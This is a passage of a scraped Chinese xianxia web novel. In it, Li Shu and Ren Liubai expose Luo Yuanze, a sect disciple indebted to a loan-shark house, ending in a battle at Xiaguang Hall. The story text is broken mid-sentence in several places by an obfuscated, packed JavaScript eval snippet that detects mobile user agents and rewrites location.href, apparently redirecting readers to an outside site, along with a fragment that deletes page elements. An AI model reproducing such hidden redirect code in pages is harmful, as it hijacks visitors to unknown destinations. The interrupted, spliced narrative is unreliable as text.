“啪!”罗源泽一掌拍到桌上,手中铜镜顿时四分五裂,每块碎片都映出一张扭曲的脸。 许久之后,罗源泽长出一口气,嘴角慢慢提了上去。留着李恕两人是个隐患,既然他们主动送上门来,那就干脆找个机会将他们斩草除根好了。 罗源泽整整衣襟,取出一只精致的檀木锦盒,推门走了出去。李恕与任流白身轻如羽,悄无声息跟上他。 没走多久,罗源泽到了目的地,抬手敲敲门。 “谁呀?”门内的声音娇俏动听。 “月儿,是我。” “罗师兄?”明如月很意外,跑来开门,“这么晚了你怎么过来了?” “有些事情,我可以进去跟你说吗?” “哦……好。”明如月现在并不打算歇息,没多想,侧身让开了路。 罗源泽抬脚进入,视线随之扫了一圈。明如月的房间不能说乱,只是东西太多,放眼望去哪里都塞得满满当当。 发现罗源泽在打量她的房间,明如月有些不好意思,随手把桌上的东西推到一边请罗源泽坐下。 “罗师兄,你要说的是什么事情呀?”明如月倒了杯水递过去,希望他快点切入正题。 罗源泽没有明说,只是放下檀木锦盒,示意明如月打开看看。明如月听话照做,盖子掀开的瞬间眼前一晃。 “簪子?”盒中躺着一根由纯金打造而成的簪子,每一处细节都精巧无比,看起来价值不菲。 罗源泽很满意,问道:“好看吗?” “挺好看的。” “送给你。” 明如月不解:“为什么突然送我东西?” “因为我看见它的第一眼就觉得很适合你,我来帮你戴上?” 明如月赶紧摇头:“谢谢你罗师兄,不过你还是把簪子拿回去吧,太贵重了我不能收。” “贵不贵重,要看送给谁,送给你我觉得很值得。”罗源泽把锦盒推回去,对这种富家小姐当然不能送便宜的东西,“这是我的心意,请你收下好吗?” 明如月一时想不到该说什么,只想赶紧结束这尴尬的情景:“那、那罗师兄你还有其他事吗?”没有的话就快走吧。 罗源泽举起杯子,笑的揶揄:“我的茶还没喝完呢。” 明如月如坐针毡,不,如站针毡,十分后悔给罗源泽倒了水。 罗源泽见她低着头,水葱般的十指扣住锦盒,想来已经是羞涩难当不敢看他。算了,今日先放过她,不谙世事的小姑娘虽然好撩拨,但也不能逼得太紧,把她哄到手后再好好调教也不迟。 “我开玩笑呢。”罗源泽站起身,按住明如月的肩膀轻轻一捏,“我先走了,希望明天你能戴着簪子见我。” 明如月马上给他开门:“罗师兄慢走!” 罗源泽当真慢悠悠出了房门,就在明如月准备关门的时候,他又忽然转过身来,神色颇为关切:“对了,再过不久就是赤霞派半年一次的休沐日,想来你已经许久没见家人,若是需要我可以送你回去。” “啊?不用了,阿爹阿娘说他们会来看我。” “好。”罗源泽如愿套出想要的信息,嘱咐明如月早些休息,这才终于走了。 房顶上面,任流白追着罗源泽而去,李恕则留在原地。方才她只听见了声音,没看见画面,即便这样她也能想象出罗源泽自以为是的样子。 不多时门又开了,李恕往下一看,是明如月。她穿的整整齐齐,明显是要出门。跟踪她很容易,李恕没费什么力气就到了后山一处石台,四周乱石林立,看起来已经荒废许久了。 明如月走到石台中央盘腿坐下,李恕离她有段距离,只能看见她在低头摆弄什么东西。忙了许久,明如月手中忽然炸开一道灵力,来得快去得更快,转眼便消散了。 原来她在制作随身法阵,只可惜失败了。 明如月没有气馁,重新取出一块晶石,再次低头镌刻起来。李恕在一旁默默看她,失败了十几次后,明如月终于停了下来,盯着脚边一堆废弃的晶石出神,不知在想什么。 李恕暗自思忖,明如月倒是有一股心气在,不甘心真的落于人后,罗源泽想打她的主意,却连她真正需要什么都不知道。 正在这么想着,忽然又有一股灵力扑面而来,瞬间扫过李恕藏身的地方。 “谁!”几乎就在同一时间,明如月厉喝一声,看向李恕所在的地方。夜色中无人回答,只有微风轻轻摇动树叶。 明如月心跳加速,小心翼翼走向异动,她手里只有一把用来镌刻晶石的小刀。拨开树枝,只见黑漆漆一团,什么都没有。 明如月松了口气,是她想多了,赤霞派有护山大阵,外人不可能进来。至于刚刚制作的法阵,毫无疑问又失败了。明如月甩甩左手,心道用自己的身体当阵眼果然太过异想天开,难怪赵灵运斥责她心思不正,只想耍小聪明。 待她走后,李恕才从石头后出来,拂去肩上残留的一丝灵气。虽然明如月最后一次制作的法阵也消散了,但是李恕能感觉到,法阵有一瞬间是凝固的。 明如月的尝试没有完全失败。 李恕抄近路下山,院里没点灯,李恕一进去就看见任流白在廊下等她。 两人开门见山交换信息。 “明如月和罗源泽不是一路人,她对罗源泽的所作所为应当都不知情。你那里呢,有什么收获?” “有,罗源泽回去之后,有一个外门弟子来见了他。” 李恕略一颔首,示意任流白继续。 “我担心被发现,没有靠得太近,只依稀听见了‘钱’‘金满堂’‘下场’几个模糊的字眼。那个外门弟子言行举止甚是无礼,丝毫没有将罗源泽放在眼里,奇怪的是,罗源泽反而对他十分客气。” 罗源泽这种人,绝不可能容忍地位比他低的人对他放肆,要么这人后台够硬,要么就是,他有把柄在对方手中。 钱、金满堂、下场、钱、金满堂……钱?李恕本来对金满堂没什么印象,然而将其与钱联系起来,她忽然想起她是听过金满堂的,那是一家放高利贷的钱庄。 “我知道了。”李恕把搜集到的线索一条条串联起来,“罗源泽在金满堂借过高利贷,为了填上窟窿,他铤而走险售卖假阵,谁知却被我们坏了好事,不仅断了他的财路,还让他狠狠赔了一笔。” 九出十三归,坐收金满堂。一个靠放高利贷起家的钱庄,脚下不知踩着多少白骨,他们敢把生意做到罗源泽头上,必然捏住了他的把柄。那个外门弟子八成就是金满堂的人,催债催到了赤霞派,当然不会对罗源泽客气。 “现在的罗源泽一定在想尽办法凑钱,所以他把主意打到了明如月身上——一个有钱并且可能被他拿捏的人。” “明仙师可知道罗源泽的目的?” “她心思单纯,多半不知。” 任流白甚是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276261|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懊悔:“我本想跟上那名弟子,可是罗源泽一直站在原地目送他走远,我没有找到机会。都是我的错,现在线索又断了,我当时应该再想想别的办法。” 李恕歪了歪头,不甚在意,“没跟上便没跟上,你提供的信息很有用,至于那个外门弟子是谁继续查就是了。万一我们特别幸运,明天一出门就撞见他了呢。” 第二天,两人一出门撞见的不是那名外门弟子,而是明如月。明明她昨天睡得也不算早,但是看起来特别有精神。 “早上好呀,两位仙师。” 李恕回了一声招呼,问她:“你不用上早课吗?” “不用啦,马上就到休沐日了,我们的课业基本上都停了。”说到这里,明如月可怜巴巴地凑到李恕面前,“你上次说想起了一些在幽兰古国的趣事,是什么呀?” 原来她还在惦记这茬,李恕故意拖长声音:“可是在这里说不方便吧……” “为什么?” “因为我是个病号,我想坐着说。” 意识到李恕在逗她,明如月忍不住笑了起来,赶紧挽着李恕坐下。两人各自捧了一杯清茶,李恕慢悠悠道:“幽兰国王之所以屠城,是因为他被邪秽寄生丧失了理智。” 明如月立刻举起手:“我知道邪秽,是一种特别难对付的魔界生物,只能通过服用内火丹保护自己,如果不幸被寄生了,必须用火把感染者和邪秽一起烧干净。” 她答的认真,好像在听门派授课,李恕道:“邪秽来自魔界并无确切证据,据我所知,魔界没有邪秽这种东西。” “没有吗,可是大家都是这么说的。”明如月回味了一遍李恕的话,忽然意识到不对劲,猛地睁圆了眼睛,“等等,什么叫据你所知?难道你……” 李恕等着明如月的下文。 “你去过魔界!”明如月被自己的猜测震惊到了,而后便是深深的崇拜,“你竟然连魔界都去过?” 李恕顺着她点点头:“对,我去过魔界。” “你好厉害,我听说魔界气候恶劣,魔族更是穷凶极恶,在我入门前有位名叫周子彦的师兄不幸被魔族掳走,至今生死未卜。” “你听的是这个版本吗?巧了,我听过另一个版本。” “你连这件事都知道?那你说的另一个版本是什么?” “周子彦,赤霞派内门弟子,对法阵颇有钻研,听从师门命令潜入魔界偷采晶石,暴露行踪后同门弃其而逃,周子彦因此落入魔界。” 明如月震惊不已:“怎么可能?他明明是被魔族偷袭的……你是听谁说的?” 李恕轻啜一口茶水:“周子彦亲口说的。” “周师兄?他在哪里?” “死了。” 明如月半天说不出话来,这跟她从同门口中得知的事情完全不一样,到底谁说的才是真的?她做不了判断,又不好质疑李恕,只好生硬地换了一个话题。 “那你和任仙师之所以会受伤,是因为被邪秽寄生的幽兰国王太难对付吗?” “我们找到了幽兰国王的藏身之处,却因大意被封了灵力,好在有缺大师及时赶来,破开法阵。” “有缺大师也在你们怎么还受伤了,难道连他也对付不了幽兰国王?”青石寺是五大宗门之一,有缺又是一宗之主,在明如月的概念里,他已经是当世最顶尖的修士了。 “若是他尽全力,幽兰国王必然不是他的对手。最后我们能脱身,最大的功劳当属——付仙师。” 李恕没有点出付剑心的名字,然而明如月一听便问:“付剑心?” 37. 破绽 她的声音里满是藏不住的惊喜,李恕点头:“你与付剑心很相熟?” 明如月的面上浮起两团绯红,说出口的话都变迟钝了:“她是我的榜样。” 这倒是有趣,明如月的榜样不在赤霞派,反而在紫竹峰?看出李恕有疑惑,明如月咳了两声,认真组织了一番语言:“一年前,我才加入赤霞派不久,恰好赶上联合试炼大会,虽然我没资格参加,但是可以围观。” 怎么说明如月也是一棵摇钱树,因此被赵灵运安排在了赤霞派看台的第一排。她初入仙门,对一切都充满了好奇,紫竹峰修士出场更是吸引了她全部注意力。看台上同样声音四起,只不过并非全都是赞叹之声罢了。 联合试炼大会可以下注,押宝最后谁能拔得头筹,各大门派肯定都下自己人,明如月谁都不熟,所以没有参与。大会进行到第七天,胜者范围已经缩到很小,其中又以任流白、付剑心两人的呼声最大。 下一场是付剑心与赤霞派弟子比试,这种单纯的武力较量赤霞派不占上风,所以还没开始胜负就注定了。一边倒的下注中,赤霞派弟子的脸色很不好看,有人递给前排的明如月一颗珠子,告诉她这叫留影珠,可以录下打斗作为学习教材。 明如月再三感谢,她现在什么都不懂,最需要的就是学习。比试开始之后,如同预料的那样付剑心很快就掌控了局势。然而比试却在此时出现了意外,赤霞派弟子使用了大会明令禁止的随身法阵,灵力爆开,场上顿时涌起铺天盖地的烟雾。 各大宗门一片哗然,纷纷挤到看台最前观望情况,明如月被淹没在人流里,不知被谁撞到肩膀,留影珠脱手而出掉下高台。等到烟雾散尽,赤霞派弟子已经躺在地上昏迷不醒,付剑心则站在傲立擂台边缘。 她赢得了这场比试。 最后一战是玄隐门任流白对战紫竹峰付剑心,出于各种微妙的心理,赤霞派弟子几乎都把注压在了任流白身上,只有明如月下注付剑心会赢。 得知情况的同门取笑她:“你是不是傻,就算你天赋再差,也不至于看不出来到底谁更厉害吧?劝你一句赶紧换人下注,否则你就等着赔本吧!” 明如月谢过同门的好心提醒,依然坚定她的选择。 当天晚上,明如月返回住处,远远看见她门前站着两道人影,走近一看,竟然是付剑心和真意。灯火朦胧,照得付剑心的面容半明半暗,将她眉宇间的冷意也融化了几分。 “付师姐……”明如月刚一开口就脸红了,后面想说什么全忘了。 真意冷笑一声:“谁是你师姐?我们紫竹峰可没有你这么卑鄙的师妹。” 明如月愣在原地,不明白她做错了什么。付剑心伸出手,掌心躺着一颗圆润的留影珠:“你的。” 明如月大吃一惊:“你怎么知道是我的?” 真意更生气了:“证据确凿,你还想狡辩?你们赤霞派真是好手段,一个在场上耍阴招,一个在场外耍阴招,打算偷偷记录比试过程,好研究出对付我师姐手段是吗?” “不是的!”明如月吃惊的是付剑心竟然注意到了留影珠是从她手中掉下去的,而且她绝对没有真意说的那种想法,“我只是觉得你很厉害,想向你学习。” 真意面露不屑:“真是好笑,你一个赤霞派的人学我们紫竹峰做什么?实在想学的话,还是先学学怎么堂堂正正做人吧。” “对不起。”明如月羞愧难当,低着头道歉。 付剑心没什么表情,只是把留影珠递到她的手里:“物归原主。” 两人走后,明如月的心情十分低落,将留影珠翻来覆去看了几遍,忽然发现付剑心没有销毁留影珠记录的画面。 几乎是迫不及待地,明如月立刻投影了画面:留影珠从她手中掉落之后,周遭的景色顿时化为一片虚影,直到付剑心宛如翻飞的鸟,足尖轻点逆空而上,将留影珠接在手中。 明如月不停地回看那段画面,胸腔中渐渐被一种莫名的情绪充盈。付剑心的身姿是那么优美,足以让她魂牵梦绕,深深刻进心底。 最后的比试任流白得了头筹,倒不是因为付剑心输了,而是因为她为了追捕一名流窜的魔族主动放弃了比试。 不战而胜,对玄隐门来说也不是什么值得炫耀的事,所以最开心的其实是那些下注任流白会赢的人。明如月并不在意她输了所有赌注,在她心里,付剑心的选择比获胜更有价值。 “我很想再见到付仙师。”明如月按住胸口,那颗留影珠一直被她贴身藏着,“我一定会努力的,我要变强,我要当大侠!” 李恕对她的理想表示鼓励,而且一想到付剑心碰上明如月的画面,李恕就觉得会非常有趣。 “不说了,李仙师,我要去练功了!”明如月霍然起身,这一刻什么趣事都被她抛到了脑后,她只有变强一个念头。 李恕送她出门,两人才跨出小院,天外忽然传来一道中气十足的钟声。 “鸣钟示警?!”明如月只知道钟声的含义,还是第一次亲耳听见,毕竟赤霞派可是最坚不可破的宗门,没有之一,几乎不可能有紧急情况。 钟声尚未完全淡去,火红色的身影从四面八方飞掠起来,经过短暂搜寻,最后纷纷集中到一个方向,那里就是出现危险的地方。 “李仙师,你们……”明如月想让两人避开的话还没说出来,李恕和任流白已经朝着那边去了,明如月赶紧跟上他们。 李恕挑了个不远不近的位置,站上一角飞檐,只见赤霞派弟子围成一圈,中间的人浑身浴血,气势却没落下乘,有两个修士没来得及闪开直接被他掀飞了出去。 那人边打边往山下冲,赤霞派弟子放弃了与他硬碰硬,各种随身法阵乱丢一气,终于有一人趁他不备从后方扑来,将他按在了地上。 “抓住了!快拿捆仙绳来——啊!”赤霞派弟子大叫一声,右手被那人狠狠咬住,硬生生撕下一块皮肉。 “啊啊啊!”赤霞派弟子捂住伤口,疼得眼角飙出泪花,“我杀了你!” 他铆足了劲儿,一脚踢出,那人受了重击,顺着力道滚出去数米,竟然一个翻身跳了起来,一边吐血一边大笑,头也不回地继续逃跑。 明如月速度慢,现在才追过来,迎面撞见一个狂笑的血人,吓得她僵立原地,连躲都忘记躲了。 血人两眼放光,燃动着嗜血的疯狂,右手成爪掏向明如月的心窝:“去死吧你!” “师妹!”“月儿!” 惊呼声四起,眼看着明如月就要命丧当场,忽然有人从天而降,揽住她的腰凌空后撤。抓住这一瞬间的机会,血人再次被赤霞派弟子按在地上,捆仙绳紧随其后将他缚住,接着便是劈头盖脸的拳脚落在他身上。 “跑啊!你再跑一个试试?”“爹的,该死的魔族!” 血人对殴打与辱骂都毫无反应,用力仰头盯着李恕,被鲜血打湿的眼睛亮得惊人:“尊……” 他的声音被一记狠踢打断了,正是被他咬了的赤霞派弟子,踢了一脚还不解气,又一连踢了十几脚,直到地上的人身上再也没有一块好地方。 “行了,退下。”罗源泽挥开受伤的同门,居高临下望着趴在地上的魔族:“他不是被师尊下令关在禁院了吗,怎么跑出来的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“时间不多,我们晚上直接动手,尽快找出证据。” 与此同时,明如月的房内,罗源泽拍拍她的肩膀:“这几天,你就不要再去找李仙师了。” “为什么?” “傻瓜,难道你忘了李仙师还在养病?” 明如月哦了一声,她没忘,只是觉得她去和李恕说说话应该不碍事。但是转念一想,今天李恕还以身犯险救了她,要不是李恕身手了得,说不定就要再受一次伤了。 这么一来,明如月心生愧疚:“我知道了,我不会再去打扰她了。” 罗源泽对明如月的乖巧很满意:“好了,你休息吧,我还有些事情要做。” 走出房间,罗源泽面上的笑意瞬间化为阴冷,默默将李恕的名字念了一遍。 “李恕。这都是你自找的。” 罗源泽也审问过禁院里的魔族,知晓他对人类敌视的态度,然而李恕救明如月时,罗源泽清楚地从那个魔族眼中看见了崇敬,以及绝对的臣服。 一个软硬不吃的魔族,怎么可能会崇敬一个人类?唯一的解释便是李恕身份有问题,她很可能是个魔族。 罗源泽握紧拳头,只要揭穿李恕的身份,不管她说什么都不会有人再信。至于任流白,他还是好好想想怎么解释勾结魔族的事吧! 罗源泽的鼻腔中逸出笑声,随即又沉下脸,可是他要怎么证明李恕是魔族呢? 忽然之间,他意识到自己想多了。他根本就不需要费心思找证据,他只需要结果。李恕是魔族的结果。 38. 把柄 邱鹏哼着小曲儿推开房门,忍不住打了个寒颤,怎么那么冷?随手搓了两下胳膊,邱鹏在黑暗中摸索着去点桌上的灯。 各大宗门早已不用油灯,而是特制的明火符,只需一点灵力即可。光亮起的瞬间,桌边一道人影随之显现。 邱鹏大惊,声音还没来得及冲出喉咙,李恕已经把冰刃抵上了他的咽喉:“嘘。” 邱鹏双眼圆睁,用力咽了一口唾沫,强装镇定问道:“你是谁?” “问我是谁之前,记得自报家门。” 如此行径,邱鹏立刻意识到危险来了。“我……我是罗源泽的表兄!罗源泽你知道吧?劝你赶紧放了我,不然有你好果子吃。” “好吓人啊,看来为了不让罗源泽知道,我只能把你灭口了。” 冰刃随着李恕的动作轻轻一动,一抹血线出现在邱鹏颈上,吓得他脸色发白:“等等等等!别杀我,我来这里没有别的目的,只是为了拿钱而已!” 李恕收回冰刃,示意他坐下慢慢说。邱鹏不敢不从,僵坐在椅子上:“罗源泽欠钱不还,屡次找借口拖延,我给了他最后一次机会,为了避免他躲在赤霞派里不出来,我要他给我捏造了个身份,跟着他一起回了宗门。我发誓,你们赤霞派的事情我可一点儿都没掺和,只要把钱给我我马上就滚。” 邱鹏以为李恕是赤霞派的人,好心给罗源泽留了几分余地,却听李恕问道:“你们打算怎么让他身败名裂?” “这……”邱鹏欲言又止,这是要挟罗源泽的筹码,没拿到钱之前不可轻易透露,“这不好说,我也是听命办事,仙师你就别为难我了。” “如果我偏要为难你呢?”李恕把玩着手中冰刃,寒光映在邱鹏脸上。 李恕真的会杀了他。意识到这一点,邱鹏头皮发麻,不得不亮明身份。“我只是个小喽啰,仙师杀就杀了,但是这样,你恐怕就要跟我们堂主结下梁子了——我们堂主,名叫金满堂。” 江湖上还有一句话,卖儿卖女卖爹娘,莫欠河东金满堂,说的便是金满堂狠辣的行事作风。 “多谢提醒,你既然敢孤身潜入赤霞派,想必金满堂已经下了命令,如果你回不去就把罗源泽的把柄公之于众,我说的对吗?” “不错。” “那太好了,这就说明就算我杀了你,金满堂也只会把矛头指向罗源泽,届时他们狗咬狗,与我何干?” 邱鹏愣了片刻:“你是冲着罗源泽去的?” 李恕干脆地认了下来:“是。要么我杀了你,借金满堂的手对付罗源泽;要么你把罗源泽的把柄交给我,我相信你能找到借口向金满堂交代。现在,你自己选吧。” 邱鹏低下头,眼睛左右转了两圈。他根本就不在乎罗源泽的死活,可他不能不在乎堂主布置的任务。 “好吧。”邱鹏决定赌一把,既然是罗源泽的仇家,那他就把李恕引过去让他自己解决好了,最好两人能自相残杀,谁死了谁倒霉。“东西不在我身上,你想要的话就跟我来吧。” 邱鹏起身往外走,发现李恕没拦他,心中不禁涌起几分庆幸,跨出房门的瞬间反手炸出几张符箓,拔腿冲向罗源泽的住处。然而没跑两步,他便眼前一花定在了原地。 任流白点了他的穴道:“你说得对,他果然不会老实交出把柄。” 李恕对此早有预料,安排任流白在房外守着,如今邱鹏彻底无计可施,李恕将冰刃缓缓递到他眼前:“猜猜我是先挖你的眼睛,还是先割你的舌头。” 寒气扑面而来,冻得邱鹏连冷汗都冒不出来:“别!我说我说!罗源泽的把柄就在进门后的第五块地砖下面。” 李恕略一偏头,示意任流白去找。不多时,任流白拿着一颗留影珠回来了。 “就是这个东西?” “对……” 李恕微微挑眉,什么把柄能用留影珠记录下来,难道是罗源泽的杀人现场?她的手压在邱鹏肩上,遂对任流白道:“打开看看。” 邱鹏欲言又止,任流白已经听话地打开了。 投影一出,在场三人面色各异,邱鹏虽然早已知晓画面内容,仍旧忍不住咧了咧嘴。李恕眉心微蹙,眼睛隐隐作痛,这画面实在是……不堪入目。任流白最惨,留影珠被他拿在手中,投影离他最近,李恕亲眼看见他差点把留影珠扔出去,最后硬是忍住了。 “收起来吧。”李恕揉揉眉心,瞥向身侧的邱鹏,“你们金满堂手段挺多。” 邱鹏尬笑两声:“我们一般对症下‘药’,借贷的人越在乎什么,我们就越拿捏什么。” 李恕不置可否,邱鹏小心问她:“两位仙师,你们的目的已经达到了,现在可以放我走了吗?” 李恕微微一笑,拎起邱鹏丢进房中,顺手封了他的穴道:“三天后点穴自解,那个时候你有本事就走吧。” 三天之内,李恕会解决罗源泽的事情,离开赤霞派。 回到红莲别院,李恕抛了两下手中的留影珠:“证据拿到了,你想像上次那样直接公之于众还是怎样?” 任流白的面色还没恢复正常,闻言摇摇头:“算了,只要赤霞派能够公正处理,私下解决也可。” 李恕猜到了他会这么做,哈哈一笑:“你真善良,就是不知道罗源泽领不领你的情了。” 夜早已经深了,李恕盛情邀请任流白与她同榻而眠,惹得他面色羞粉不知所措,好不容易得到赦令便回了房间,再也没发出一点动静。 李恕要的就是这个结果,悄无声息出了红莲别院,根据追踪符的指引前往禁院。看见那个魔族的第一眼,李恕便认出他是魑魅,可她明明早就命令魑魅返回魔界,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李恕道了声好,光明正大回了房间。门一合上黑蛇就从她的脖子上昂起头:“啧啧,又被你糊弄过去了。” 李恕懒得搭理它,黑蛇更来劲了:“你真要把人家好好一个仙师骗去魔界?” “你害怕了?” “胡说八道,我怕什么?”黑蛇绕着李恕的脖子转了两圈,喋喋不休,“就算他能消除邪秽,我就赖在你身上他能奈我何?” 李恕哼笑:“那你急什么,老实待着,我要休息了。” 黑蛇气得不行,李恕已经闭上眼睛,黑蛇气也没有办法,嗷嗷叫了两声重新盘到她颈上。 翌日一早,又有人来了红莲别院,不过这次来的不是明如月,而是个生面孔的赤霞派修士,彬彬有礼道:“两位仙师,掌门请你们前往霞光殿。” 39. 头骨 霞光殿,是一座位于赤霞派最顶峰的宫殿,日出时殿顶金光一片,璀璨夺目,日落时红墙融入晚霞,仿若天上仙宫。正是因为朝霞晚霞都美不胜收,所以取名霞光殿。 三人拾级而上,到了门口,引路弟子躬身示意两人入内:“仙师,请。” 李恕余光扫过,霞光殿独立孤峰,上下只有一条险路,殿门洞开,窗户却紧闭着,以至于大殿里面光线昏暗,看不清具体情况。 “两位仙师,请。”引路弟子又邀请了一遍,李恕抬脚走进大殿,阳光随即被隔绝在身后。 殿内清冷且空旷,一方巍峨宝座定在尽头,四壁挂着历代掌门降妖伏魔的画像。最显眼的一幅乃是赵灵运,画中的他浮在半空仿佛天神下凡,脚下法阵铺开射下无数雷电,一名年轻男子被雷击中,痛苦地蜷缩在地上。上下两道人影对此,愈发显得赵灵运高高在上,睥睨天下。 李恕盯着画像,表情不辨喜怒,直到罗源泽从宝座后走出来。 任流白略感讶异:“罗仙师?” 罗源泽挂着笑,抬手搭住椅背:“师尊命我招待两位。” 李恕冷眼看他:“招待?” “赤霞派位列五宗,以除魔卫道为己任,如今竟有魔族胆大包天潜入宗门欲行不轨之事,若不将她斩除,如何对得起赤霞派的名头?”罗源泽走到宝座前面,居高临下盯着李恕,“你说对吗,李仙师?” 他将“仙师”二字说的极为古怪,意思再明显不过,李恕就是他口中的魔族。 任流白挡住李恕:“你有什么证据?” “她活着是‘人证’,死了是‘物证’,你问我要证据,证据不就在你身边吗?” 看来这是设好鸿门宴等着她了,李恕无所谓道:“所以赵灵运根本就没有要见我们,是你假借他的名头骗我们来了此处。” “没错,可惜你知道的太晚了。” 李恕不怒反笑,取出留影珠晃了晃:“你没证据,我可有证据。” 一见珠子,罗源泽顿时脸色大变:“你哪来的?” “留影珠是什么珍贵的东西吗?你这么紧张,看来很清楚里面记录了什么。” 罗源泽的面上红红白白,最后冷笑一声:“既然如此,我就更不能留你们了,带着你们看过的东西去死吧!” 殿门砰地合上,李恕脚下一软,地板竟然如同水波一般开始流动,踩到哪里哪里就陷下去。 任流白扣住灵力,射向宝座上的罗源泽,没成想灵力脱手后速度竟然变得奇慢无比,所过之处微微泛起涟漪,像是一尾濒死的游鱼。 罗源泽面露不屑,隔空捏住灵力,那尾濒死的游鱼立刻灰飞烟灭了。“在我的法阵里,一切挣扎都是徒劳。” 李恕环顾四周,映入眼帘的物体都在缓慢流动,包括那幅赵灵运的画像,他脚下的年轻男子也被裹进水波里,仿佛下一刻就会被揉碎。 “你在找阵眼吗?别傻了,就算找到了你也碰不到。”罗源泽握紧拳头,法阵在他的控制下剧烈收缩,李恕仿佛置身气泡中,被任意捏扁揉圆。 任流白撑开手臂挡在他与李恕身前,心中不免懊悔,罗源泽实在是无可救药,若不是他想着私了,此番又怎么会连累李恕落入陷阱。 “不自量力。”罗源泽继续收紧拳头,气泡死死压在两人身上,仿佛要将他们捏碎。 李恕贴在任流白怀里,既不反抗,也没什么动作,只是一直看着那幅画像。 罗源泽心生戒备,顺着李恕的目光去看,却看不出什么名堂,但他知道,这恰恰就是最大的不对劲,李恕到底在打什么主意? 想了片刻,罗源泽将双手掌心上下相对,无所谓,只要他先下手杀了李恕,她想做什么都是徒劳。 就是现在,罗源泽合掌的前一刻,李恕右手一挥,法阵轰然炸来,殿中画像在灵力冲击下碎成齑粉。 罗源泽大惊失色:“怎么可能,你怎么可能破了我的法阵?!” 李恕掸掸揉皱的衣襟:“没什么不可能,凭你的修为,法阵最多只能包裹这座大殿,而我进殿之前就在外面留了一道凝而不断的灵力。”就像一根针穿透法阵内外,方才她按兵不动,只是在等罗源泽将法阵压缩到承受极限,气泡绷得越紧也就越脆弱。 “你现在还有什么新手段吗?出了这座大殿留影珠的秘密可就瞒不住了。” 罗源泽咬紧牙关,从齿缝中挤出阴冷的声音:“你们,找死。” 门窗洞开,寒风呼啸着卷了进来,殿内温度骤降。任流白眉头一沉,这股寒气......是护山大阵! 霞光殿外,赤霞派弟子纷纷仰头看天,只见护山大阵飞速运转,凝出数百根长约一丈的冰锥,从四面八方指向霞光殿。 大殿里面有敌人?众人面面相觑,搞不清楚状况,候在殿外的引路弟子则脊背生寒,飞也似地逃离了孤峰。 罗源泽双目赤红,事已至此他没得选,哪怕毁了霞光殿,他也要把李恕的命留在这里。 冰锥雨点一般砸下来,金顶顿时四分五裂,然而不等碎石落下,冰锥便抢先一步插进地板中,犬牙交错,不留死角。 李恕一连退后几步,冰锥始终追着她的身影,罗源泽从破碎的大殿上方飞出,长袖一翻,一颗头骨出现在他手中。 李恕遥望半空,阳光下,头骨眉间嵌着一枚墨紫色魔核,那是最高等的魔才能拥有的颜色。 罗源泽按住头骨,呵呵冷笑:“你是魔,我手中的也是魔,让我看看到底是你厉害还是他厉害!” 赤霞派的护山大阵其实由两个法阵叠加而成,一个阵眼是晶石,主防御;一个阵眼是魔核,主杀伐。 看清罗源泽手中之物,李恕面上瞬间覆了一层寒冰,踩着射下来的冰锥逆空而上,落到霞光殿顶:“你拿的是谁的头骨?” 罗源泽咧开嘴角,他有信心杀了李恕,所以也颇有耐心回答问题:“你不问魔核反而问头骨?哈哈,当年在奔雷台五大宗门联手诛魔,我师尊设下雷阵将魔头九阴劈得魂飞魄散,立下头功,理所应当得了那魔头身上最重要的东西,就是这枚魔核——所以这颗头骨是谁的,还用问吗?” 李恕嗤笑一声,黑白分明的眼珠渐渐被幽绿浸透:“立下头功?好一句立下头功,赤霞派的无耻原来是一脉相承。九阴到底是怎么死的,你们心里清楚。” 罗源泽被李恕慑到,随即心头漫上狂喜,指着李恕对围观弟子大喊:“看见没有,她的眼睛!她是魔族!” 李恕竟敢在众目睽睽之下暴露身份,这么多人都能做见证,真是天助他也!罗源泽催动魔核,护山大阵寒光大作,只不过这次凝出的不仅有冰锥,还有锁链。 任流白心道不好,不知李恕与那魔核的主人是何关系,但她现在明显被激怒了,正好落进罗源泽的圈套。 “李恕,此地不宜久留。”任流白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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冰锥再次凝了出来,只不过这次是冲着赤霞派弟子去的,其中一根势如闪电,径直飞向禁院。 “轰!”禁院上空蹿起一道人影,飞速向着李恕而来,正是浑身染血的魑魅。 “尊上!”他昨日才挨了痛打,今日除了身上血迹竟然没有丝毫孱弱的迹象。看着乱如急雨的冰锥,魑魅满脸兴奋,“我这就去把他们都杀光!” “不可。”任流白拦住魑魅,对李恕道,“他们与罗源泽并非一丘之貉,切勿伤及无辜。” 魑魅大怒,当即要和任流白动手:“又是你这臭修士,尊上的事轮不到你插嘴!” 李恕冷道:“住手。” “听到没有,尊上让你住手。” “你也住手。”李恕松开罗源泽的脖子,一脚踹出,罗源泽还没站稳便跪了下来,“罗仙师,你应该从来都没和下面的师兄弟们坦诚相待过吧,今天就是一个好机会。” “不!不!”罗源泽的脑子嗡嗡作响,拼命挣扎,还是没能挡住李恕抛出留影珠。刹那间,霞光殿顶上出现一段影像。 